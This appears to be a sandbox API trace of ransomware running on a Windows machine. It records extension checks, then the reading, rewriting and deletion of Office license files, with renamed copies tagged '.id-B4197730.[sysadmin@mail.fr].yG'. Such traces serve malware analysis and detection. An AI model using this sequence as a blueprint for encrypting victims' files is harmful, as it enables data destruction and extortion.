	[0169.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0169.083] lstrlenW (lpString=".doc") returned 4
	[0169.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString=".docx") returned 5
	[0169.083] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.083] lstrlenW (lpString=".pdf") returned 4
	[0169.083] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString=".xls") returned 4
	[0169.083] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString=".xlsx") returned 5
	[0169.083] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.083] lstrlenW (lpString=".ppt") returned 4
	[0169.083] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0169.083] lstrlenW (lpString=".zip") returned 4
	[0169.083] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString=".rar") returned 4
	[0169.083] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString=".bz2") returned 4
	[0169.083] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.083] lstrlenW (lpString=".7z") returned 3
	[0169.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0169.084] lstrlenW (lpString=".dbf") returned 4
	[0169.084] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0169.084] lstrlenW (lpString=".1cd") returned 4
	[0169.084] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83
	[0169.084] lstrlenW (lpString=".jpg") returned 4
	[0169.084] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.085] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=21727) returned 1
	[0169.085] CloseHandle (hObject=0x51c) returned 1
	[0169.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 0x220
	[0169.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0169.086] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.086] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0169.087] GetLastError () returned 0x0
	[0169.087] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x54df, lpOverlapped=0x0) returned 1
	[0169.189] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x54e0, lpOverlapped=0x0) returned 1
	[0169.190] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.190] WriteFile (in: hFile=0x560, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10e, lpOverlapped=0x0) returned 1
	[0169.191] SetEndOfFile (hFile=0x560) returned 1
	[0169.191] CloseHandle (hObject=0x560) returned 1
	[0169.191] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.191] SetEndOfFile (hFile=0x51c) returned 1
	[0169.204] CloseHandle (hObject=0x51c) returned 1
	[0169.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.205] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms")) returned 1
	[0169.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0169.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0169.206] lstrlenW (lpString=".doc") returned 4
	[0169.206] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.206] lstrlenW (lpString=".docx") returned 5
	[0169.207] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.207] lstrlenW (lpString=".pdf") returned 4
	[0169.207] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString=".xls") returned 4
	[0169.207] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString=".xlsx") returned 5
	[0169.207] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.207] lstrlenW (lpString=".ppt") returned 4
	[0169.207] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0169.207] lstrlenW (lpString=".zip") returned 4
	[0169.207] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString=".rar") returned 4
	[0169.207] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString=".bz2") returned 4
	[0169.207] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString=".7z") returned 3
	[0169.207] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0169.207] lstrlenW (lpString=".dbf") returned 4
	[0169.207] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0169.207] lstrlenW (lpString=".1cd") returned 4
	[0169.207] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79
	[0169.207] lstrlenW (lpString=".jpg") returned 4
	[0169.208] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.209] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11167) returned 1
	[0169.209] CloseHandle (hObject=0x51c) returned 1
	[0169.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220
	[0169.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0169.210] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.210] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0169.211] GetLastError () returned 0x0
	[0169.211] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0169.261] WriteFile (in: hFile=0x388, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0169.263] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.263] WriteFile (in: hFile=0x388, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x10e, lpOverlapped=0x0) returned 1
	[0169.263] SetEndOfFile (hFile=0x388) returned 1
	[0169.263] CloseHandle (hObject=0x388) returned 1
	[0169.263] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.263] SetEndOfFile (hFile=0x51c) returned 1
	[0169.282] CloseHandle (hObject=0x51c) returned 1
	[0169.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1
	[0169.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0169.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0169.284] lstrlenW (lpString=".doc") returned 4
	[0169.284] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.284] lstrlenW (lpString=".docx") returned 5
	[0169.284] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.284] lstrlenW (lpString=".pdf") returned 4
	[0169.284] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.284] lstrlenW (lpString=".xls") returned 4
	[0169.284] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString=".xlsx") returned 5
	[0169.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.285] lstrlenW (lpString=".ppt") returned 4
	[0169.285] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0169.285] lstrlenW (lpString=".zip") returned 4
	[0169.285] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString=".rar") returned 4
	[0169.285] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString=".bz2") returned 4
	[0169.285] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString=".7z") returned 3
	[0169.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0169.285] lstrlenW (lpString=".dbf") returned 4
	[0169.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0169.285] lstrlenW (lpString=".1cd") returned 4
	[0169.285] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0169.285] lstrlenW (lpString=".jpg") returned 4
	[0169.285] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.286] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11620) returned 1
	[0169.286] CloseHandle (hObject=0x51c) returned 1
	[0169.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 0x220
	[0169.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0169.287] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.287] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0169.288] GetLastError () returned 0x0
	[0169.288] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d64, lpOverlapped=0x0) returned 1
	[0169.666] WriteFile (in: hFile=0x388, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0169.667] ReadFile (in: hFile=0x51c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.667] WriteFile (in: hFile=0x388, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0169.667] SetEndOfFile (hFile=0x388) returned 1
	[0169.667] CloseHandle (hObject=0x388) returned 1
	[0169.667] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.667] SetEndOfFile (hFile=0x51c) returned 1
	[0169.684] CloseHandle (hObject=0x51c) returned 1
	[0169.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms")) returned 1
	[0169.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0169.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0169.693] lstrlenW (lpString=".doc") returned 4
	[0169.693] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString=".docx") returned 5
	[0169.693] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.693] lstrlenW (lpString=".pdf") returned 4
	[0169.693] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString=".xls") returned 4
	[0169.693] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString=".xlsx") returned 5
	[0169.693] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.693] lstrlenW (lpString=".ppt") returned 4
	[0169.693] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0169.693] lstrlenW (lpString=".zip") returned 4
	[0169.693] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString=".rar") returned 4
	[0169.693] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString=".bz2") returned 4
	[0169.693] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.693] lstrlenW (lpString=".7z") returned 3
	[0169.693] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0169.694] lstrlenW (lpString=".dbf") returned 4
	[0169.694] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0169.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0169.694] lstrlenW (lpString=".1cd") returned 4
	[0169.694] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0169.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83
	[0169.694] lstrlenW (lpString=".jpg") returned 4
	[0169.694] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0169.695] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11175) returned 1
	[0169.695] CloseHandle (hObject=0x350) returned 1
	[0169.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 0x220
	[0169.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0169.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0169.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0169.698] GetLastError () returned 0x0
	[0169.698] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2ba7, lpOverlapped=0x0) returned 1
	[0169.743] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0169.745] ReadFile (in: hFile=0x350, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.745] WriteFile (in: hFile=0x550, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x112, lpOverlapped=0x0) returned 1
	[0169.745] SetEndOfFile (hFile=0x550) returned 1
	[0169.746] CloseHandle (hObject=0x550) returned 1
	[0169.746] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.746] SetEndOfFile (hFile=0x350) returned 1
	[0169.752] CloseHandle (hObject=0x350) returned 1
	[0169.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0169.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms")) returned 1
	[0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0169.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0169.754] lstrlenW (lpString=".doc") returned 4
	[0169.754] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0169.754] lstrlenW (lpString=".docx") returned 5
	[0169.754] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0169.754] lstrlenW (lpString=".pdf") returned 4
	[0169.754] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0169.754] lstrlenW (lpString=".xls") returned 4
	[0169.754] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0169.754] lstrlenW (lpString=".xlsx") returned 5
	[0169.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0169.755] lstrlenW (lpString=".ppt") returned 4
	[0169.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
	[0169.755] lstrlenW (lpString=".zip") returned 4
	[0169.755] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0169.755] lstrlenW (lpString=".rar") returned 4
	[0169.755] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0169.755] lstrlenW (lpString=".bz2") returned 4
	[0169.755] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0169.755] lstrlenW (lpString=".7z") returned 3
	[0169.755] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0169.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81
